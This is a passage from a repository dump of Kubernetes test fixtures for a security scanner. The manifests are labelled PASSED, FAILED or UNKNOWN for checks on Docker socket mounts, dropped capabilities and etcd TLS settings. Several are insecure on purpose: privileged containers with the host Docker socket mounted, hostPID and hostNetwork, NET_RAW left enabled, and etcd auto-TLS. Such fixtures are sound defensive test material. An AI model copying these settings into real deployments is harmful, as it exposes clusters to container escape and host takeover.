kubernetes_metadata\n        @id filter_kube_metadata_host\n      </filter>\n\n      <filter **>\n        @type record_transformer\n        @id filter_containers_stream_transformer_host\n        <record>\n          stream_name ${tag}-${record[\"host\"]}\n        </record>\n      </filter>\n\n      <match host.**>\n        @type cloudwatch_logs\n        @id out_cloudwatch_logs_host_logs\n        region \"#{ENV.fetch('REGION')}\"\n        log_group_name \"/aws/containerinsights/#{ENV.fetch('CLUSTER_NAME')}/host\"\n        log_stream_name_key stream_name\n        remove_log_stream_name_key true\n        auto_create_stream true\n        <buffer>\n          flush_interval 5\n          chunk_limit_size 2m\n          queued_chunks_limit_size 32\n          retry_forever true\n        </buffer>\n      </match>\n    </label>\n---\napiVersion: extensions/v1beta1\nkind: DaemonSet\nmetadata:\n  name: fluentd-cloudwatch\n  namespace: amazon-cloudwatch\n  labels:\n    k8s-app: fluentd-cloudwatch\nspec:\n  template:\n    metadata:\n      labels:\n        k8s-app: fluentd-cloudwatch\n      annotations:\n        configHash: 8915de4cf9c3551a8dc74c0137a3e83569d28c71044b0359c2578d2e0461825\n    spec:\n      serviceAccountName: fluentd\n      terminationGracePeriodSeconds: 30\n      # Because the image's entrypoint requires to write on /fluentd/etc but we mount configmap there which is read-only,\n      # this initContainers workaround or other is needed.\n      # See https://github.com/fluent/fluentd-kubernetes-daemonset/issues/90\n      initContainers:\n        - name: copy-fluentd-config\n          image: busybox\n          command: ['sh', '-c', 'cp /config-volume/..data/* /fluentd/etc']\n          volumeMounts:\n            - name: config-volume\n              mountPath: /config-volume\n            - name: fluentdconf\n              mountPath: /fluentd/etc\n        - name: update-log-driver\n          image: busybox\n          command: ['sh','-c','']\n      containers:\n        - name: fluentd-cloudwatch\n          image: fluent/fluentd-kubernetes-daemonset:v1.3.3-debian-cloudwatch-1.4\n          env:\n            - name: REGION\n              valueFrom:\n                configMapKeyRef:\n                  name: cluster-info\n                  key: logs.region\n            - name: CLUSTER_NAME\n              valueFrom:\n                configMapKeyRef:\n                  name: cluster-info\n                  key: cluster.name\n          resources:\n            limits:\n              memory: 200Mi\n            requests:\n              cpu: 100m\n              memory: 200Mi\n          volumeMounts:\n            - name: config-volume\n              mountPath: /config-volume\n            - name: fluentdconf\n              mountPath: /fluentd/etc\n            - name: varlog\n              mountPath: /var/log\n            - name: varlibdockercontainers\n              mountPath: /var/lib/docker/containers\n              readOnly: true\n            - name: runlogjournal\n              mountPath: /run/log/journal\n              readOnly: true\n            - name: dmesg\n              mountPath: /var/log/dmesg\n              readOnly: true\n      volumes:\n        - name: config-volume\n          configMap:\n            name: fluentd-config\n        - name: fluentdconf\n          emptyDir: {}\n        - name: varlog\n          hostPath:\n            path: /var/log\n        - name: varlibdockercontainers\n          hostPath:\n            path: /var/lib/docker/containers\n        - name: runlogjournal\n          hostPath:\n            path: /run/log/journal\n        - name: dmesg\n          hostPath:\n            path: /var/log/dmesg\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: fluentd\n  namespace: amazon-cloudwatch\n\n---\napiVersion: rbac.authorization.k8s.io/v1beta1\nkind: ClusterRole\nmetadata:\n  name: fluentd-role\nrules:\n  - apiGroups: [\"\"]\n    resources:\n      - namespaces\n      - pods\n      - pods/logs\n    verbs: [\"get\", \"list\", \"watch\"]\n\n---\napiVersion: rbac.authorization.k8s.io/v1beta1\nkind: ClusterRoleBinding\nmetadata:\n  name: fluentd-role-binding\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: ClusterRole\n  name: fluentd-role\nsubjects:\n  - kind: ServiceAccount\n    name: fluentd\n    namespace: amazon-cloudwatch\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DockerSocketVolume/scope-2PASSED-1FAILED.yaml",
    "content": "apiVersion: v1\nkind: List\nitems:\n  - apiVersion: v1\n    kind: Namespace\n    metadata:\n      name: weave\n      annotations:\n        cloud.weave.works/version: v1.0.0-269-gffdc830\n  - apiVersion: v1\n    kind: ServiceAccount\n    metadata:\n      name: weave-scope\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope\n      namespace: weave\n  - apiVersion: rbac.authorization.k8s.io/v1\n    kind: ClusterRole\n    metadata:\n      name: weave-scope\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope\n    rules:\n      - apiGroups:\n          - ''\n        resources:\n          - pods\n        verbs:\n          - get\n          - list\n          - watch\n          - delete\n      - apiGroups:\n          - ''\n        resources:\n          - pods/log\n          - services\n          - nodes\n          - namespaces\n          - persistentvolumes\n          - persistentvolumeclaims\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - apps\n        resources:\n          - deployments\n          - daemonsets\n          - statefulsets\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - batch\n        resources:\n          - cronjobs\n          - jobs\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - extensions\n        resources:\n          - deployments\n          - daemonsets\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - apps\n        resources:\n          - deployments/scale\n        verbs:\n          - get\n          - update\n      - apiGroups:\n          - extensions\n        resources:\n          - deployments/scale\n        verbs:\n          - get\n          - update\n      - apiGroups:\n          - storage.k8s.io\n        resources:\n          - storageclasses\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - volumesnapshot.external-storage.k8s.io\n        resources:\n          - volumesnapshots\n          - volumesnapshotdatas\n        verbs:\n          - list\n          - watch\n  - apiVersion: rbac.authorization.k8s.io/v1\n    kind: ClusterRoleBinding\n    metadata:\n      name: weave-scope\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope\n    roleRef:\n      kind: ClusterRole\n      name: weave-scope\n      apiGroup: rbac.authorization.k8s.io\n    subjects:\n      - kind: ServiceAccount\n        name: weave-scope\n        namespace: weave\n  - apiVersion: apps/v1\n    kind: Deployment\n    metadata:\n      name: weave-scope-app\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope-app\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: app\n      namespace: weave\n    spec:\n      replicas: 1\n      revisionHistoryLimit: 2\n      selector:\n        matchLabels:\n          name: weave-scope-app\n          app: weave-scope\n          weave-cloud-component: scope\n          weave-scope-component: app\n      template:\n        metadata:\n          labels:\n            name: weave-scope-app\n            app: weave-scope\n            weave-cloud-component: scope\n            weave-scope-component: app\n        spec:\n          containers:\n            - name: app\n              args:\n                - '--mode=app'\n              command:\n                - /home/weave/scope\n              env: []\n              image: 'docker.io/weaveworks/scope:1.13.0'\n              imagePullPolicy: IfNotPresent\n              ports:\n                - containerPort: 4040\n                  protocol: TCP\n  - apiVersion: v1\n    kind: Service\n    metadata:\n      name: weave-scope-app\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope-app\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: app\n      namespace: weave\n    spec:\n      ports:\n        - name: app\n          port: 80\n          protocol: TCP\n          targetPort: 4040\n      selector:\n        name: weave-scope-app\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: app\n  - apiVersion: apps/v1\n    kind: Deployment\n    metadata:\n      name: weave-scope-cluster-agent\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope-cluster-agent\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: cluster-agent\n      namespace: weave\n    spec:\n      replicas: 1\n      revisionHistoryLimit: 2\n      selector:\n        matchLabels:\n          name: weave-scope-cluster-agent\n          app: weave-scope\n          weave-cloud-component: scope\n          weave-scope-component: cluster-agent\n      template:\n        metadata:\n          labels:\n            name: weave-scope-cluster-agent\n            app: weave-scope\n            weave-cloud-component: scope\n            weave-scope-component: cluster-agent\n        spec:\n          containers:\n            - name: scope-cluster-agent\n              args:\n                - '--mode=probe'\n                - '--probe-only'\n                - '--probe.kubernetes.role=cluster'\n                - '--probe.http.listen=:4041'\n                - '--probe.publish.interval=4500ms'\n                - '--probe.spy.interval=2s'\n                - 'weave-scope-app.weave.svc.cluster.local:80'\n              command:\n                - /home/weave/scope\n              env: []\n              image: 'docker.io/weaveworks/scope:1.13.0'\n              imagePullPolicy: IfNotPresent\n              ports:\n                - containerPort: 4041\n                  protocol: TCP\n              resources:\n                requests:\n                  cpu: 25m\n                  memory: 80Mi\n          serviceAccountName: weave-scope\n  - apiVersion: apps/v1\n    kind: DaemonSet\n    metadata:\n      name: weave-scope-agent\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope-agent\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: agent\n      namespace: weave\n    spec:\n      minReadySeconds: 5\n      selector:\n        matchLabels:\n          name: weave-scope-agent\n          app: weave-scope\n          weave-cloud-component: scope\n          weave-scope-component: agent\n      template:\n        metadata:\n          labels:\n            name: weave-scope-agent\n            app: weave-scope\n            weave-cloud-component: scope\n            weave-scope-component: agent\n        spec:\n          containers:\n            - name: scope-agent\n              args:\n                - '--mode=probe'\n                - '--probe-only'\n                - '--probe.kubernetes.role=host'\n                - '--probe.publish.interval=4500ms'\n                - '--probe.spy.interval=2s'\n                - '--probe.docker.bridge=docker0'\n                - '--probe.docker=true'\n                - 'weave-scope-app.weave.svc.cluster.local:80'\n              command:\n                - /home/weave/scope\n              env: []\n              image: 'docker.io/weaveworks/scope:1.13.0'\n              imagePullPolicy: IfNotPresent\n              resources:\n                requests:\n                  cpu: 100m\n                  memory: 100Mi\n              securityContext:\n                privileged: true\n              volumeMounts:\n                - name: scope-plugins\n                  mountPath: /var/run/scope/plugins\n                - name: sys-kernel-debug\n                  mountPath: /sys/kernel/debug\n                - name: docker-socket\n                  mountPath: /var/run/docker.sock\n          dnsPolicy: ClusterFirstWithHostNet\n          hostNetwork: true\n          hostPID: true\n          tolerations:\n            - effect: NoSchedule\n              operator: Exists\n            - effect: NoExecute\n              operator: Exists\n          volumes:\n            - name: scope-plugins\n              hostPath:\n                path: /var/run/scope/plugins\n            - name: sys-kernel-debug\n              hostPath:\n                path: /sys/kernel/debug\n            - name: docker-socket\n              hostPath:\n                path: /var/run/docker.sock\n      updateStrategy:\n        type: RollingUpdate\n  - null  # shouldn't crash\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DockerSocketVolume/scope-UNKNOWN.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata: \n  labels: \n    name: nginx-pod\n  name: nginx-pod\nspec: \n  containers:\n      image: \"gcr.io/google_containers/nginx-slim:0.8\"\n      name: nginx-pod\n      ports:\n          containerPort: 80\n          name: web\n      securityContext: \n        privileged: true\n      volumeMounts:\n          mountPath: /usr/share/nginx/html\n          name: achia-vol\n  volumes:\n      name: achia-vol\n      persistentVolumeClaim: \n        claimName: claim1"
  },
  {
    "path": "tests/kubernetes/checks/example_DropCapabilities/pod-drop-NET_RAW-capabilities-FAILED-MISSING.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: pod-drop-net-raw-capability\nspec:\n  containers:\n    - name: main\n      image: fedora\n      command: [\"/bin/sleep\", \"999999\"]\n      securityContext:\n        capabilities:\n# kubectl exec -it pod-drop-net-raw-capability -- bash\n# dnf -y install libcap-ng-utils\n# pscap\n### Notice no net_raw capability\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DropCapabilities/pod-drop-NET_RAW-capabilities-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: pod-drop-net-raw-capability\nspec:\n  containers:\n    - name: main\n      image: fedora\n      command: [\"/bin/sleep\", \"999999\"]\n      securityContext:\n        capabilities:\n          drop:\n            - NET_RAW\n# kubectl exec -it pod-drop-net-raw-capability -- bash\n# dnf -y install libcap-ng-utils\n# pscap\n### Notice no net_raw capability\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DropCapabilities/pod-drop-all-capabilities-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: pod-drop-all-capability\nspec:\n  containers:\n    - name: main\n      image: fedora\n      command: [\"/bin/sleep\", \"999999\"]\n      securityContext:\n        capabilities:\n          drop:\n            - ALL\n\n# kubectl exec -it pod-drop-all-capability -- bash\n# dnf -y install libcap-ng-utils\n  ### You'll see with drop all you can't do this!\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DropCapabilities/pod-drop-all-capabilities-PASSED2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: pod-drop-all-capability\nspec:\n  containers:\n    - name: main\n      image: fedora\n      command: [\"/bin/sleep\", \"999999\"]\n      securityContext:\n        capabilities:\n          drop:\n            - all\n\n# kubectl exec -it pod-drop-all-capability -- bash\n# dnf -y install libcap-ng-utils\n  ### You'll see with drop all you can't do this!\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DropCapabilities/pod-drop-none-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: pod-drop-none\nspec:\n  containers:\n    - name: main\n      image: fedora\n      command: [\"/bin/sleep\", \"999999\"]\n\n# kubectl exec -it pod-drop-none -- bash\n# dnf -y install libcap-ng-utils\n# pscap\n## Notice net_raw capability"
  },
  {
    "path": "tests/kubernetes/checks/example_EtcdAutoTls/Etcd-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  annotations:\n    scheduler.alpha.kubernetes.io/critical-pod: \"\"\n  creationTimestamp: null\n  labels:\n    component: etcd\n    tier: control-plane\n  name: etcd-enabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - etcd\n    - --auto-tls=true\n    image: k8s.gcr.io/etcd-amd64:3.2.18\n    imagePullPolicy: IfNotPresent\n    livenessProbe:\n      exec:\n        command:\n        - /bin/sh\n        - -ec\n        - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt\n          --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key\n          get foo\n      failureThreshold: 8\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: etcd-should-fail\n    resources: {}\n    volumeMounts:\n    - mountPath: /var/lib/etcd\n      name: etcd-data\n    - mountPath: /etc/kubernetes/pki/etcd\n      name: etcd-certs\n  hostNetwork: true\n  priorityClassName: system-cluster-critical\n  volumes:\n  - hostPath:\n      path: /var/lib/etcd\n      type: DirectoryOrCreate\n    name: etcd-data\n  - hostPath:\n      path: /etc/kubernetes/pki/etcd\n      type: DirectoryOrCreate\n    name: etcd-certs\nstatus: {}"
  },
  {
    "path": "tests/kubernetes/checks/example_EtcdAutoTls/Etcd-PASSED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  annotations:\n    scheduler.alpha.kubernetes.io/critical-pod: \"\"\n  creationTimestamp: null\n  labels:\n    component: etcd\n    tier: control-plane\n  name: etcd-default\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - etcd\n    image: k8s.gcr.io/etcd-amd64:3.2.18\n    imagePullPolicy: IfNotPresent\n    livenessProbe:\n      exec:\n        command:\n        - /bin/sh\n        - -ec\n        - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt\n          --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key\n          get foo\n      failureThreshold: 8\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: etcd-should-pass\n    resources: {}\n    volumeMounts:\n    - mountPath: /var/lib/etcd\n      name: etcd-data\n    - mountPath: /etc/kubernetes/pki/etcd\n      name: etcd-certs\n  hostNetwork: true\n  priorityClassName: system-cluster-critical\n  volumes:\n  - hostPath:\n      path: /var/lib/etcd\n      type: DirectoryOrCreate\n    name: etcd-data\n  - hostPath:\n      path: /etc/kubernetes/pki/etcd\n      type: DirectoryOrCreate\n    name: etcd-certs\nstatus: {}"
  },
  {
    "path": "tests/kubernetes/checks/example_EtcdAutoTls/Etcd-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  annotations:\n    scheduler.alpha.kubernetes.io/critical-pod: \"\"\n  creationTimestamp: null\n  labels:\n    component: etcd\n    tier: control-plane\n  name: etcd-disabled\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - etcd\n    - --auto-tls=false\n    image: k8s.gcr.io/etcd-amd64:3.2.18\n    imagePullPolicy: IfNotPresent\n    livenessProbe:\n      exec:\n        command:\n        - /bin/sh\n        - -ec\n        - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt\n          --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key\n          get foo\n      failureThreshold: 8\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: etcd-should-pass\n    resources: {}\n    volumeMounts:\n    - mountPath: /var/lib/etcd\n      name: etcd-data\n    - mountPath: /etc/kubernetes/pki/etcd\n      name: etcd-certs\n  hostNetwork: true\n  priorityClassName: system-cluster-critical\n  volumes:\n  - hostPath:\n      path: /var/lib/etcd\n      type: DirectoryOrCreate\n    name: etcd-data\n  - hostPath:\n      path: /etc/kubernetes/pki/etcd\n      type: DirectoryOrCreate\n    name: etcd-certs\nstatus: {}"
  },
  {
    "path": "tests/kubernetes/checks/example_EtcdCertAndKey/Etcd-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  annotations:\n    scheduler.alpha.kubernetes.io/critical-pod: \"\"\n  creationTimestamp: null\n  labels:\n    component: etcd\n    tier: control-plane\n  name: etcd-missing\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - etcd\n    image: k8s.gcr.io/etcd-amd64:3.2.18\n    imagePullPolicy: IfNotPresent\n    livenessProbe:\n      exec:\n        command:\n        - /bin/sh\n        - -ec\n        - ETCDCTL_API=3 etcdctl --endpoints=https://[192.168.22.9]:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt\n          --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt --key=/etc/kubernetes/pki/etcd/healthcheck-client.key\n          get foo\n      failureThreshold: 8\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: etcd-should-fail\n    resources: {}\n    volumeMounts:\n    - mountPath: /var/lib/etcd\n      name: etcd-data\n    - mountPath: /etc/kubernetes/pki/etcd\n      name: etcd-certs\n  hostNetwork: true\n  priorityClassName: system-cluster-critical\n  volumes:\n  - hostPath:\n      path: /var/lib/etcd\n      type: DirectoryOrCreate\n    name: etcd-data\n  - hostPath:\n      path: /etc/kubernetes/pki/etcd\n      type: DirectoryOrCreate\n    name: etcd-certs\nstatus: {}"
  },
  {
    "path": "tests/kubernetes/checks/example_EtcdCertAndKey/Etcd-FAILED.yaml",
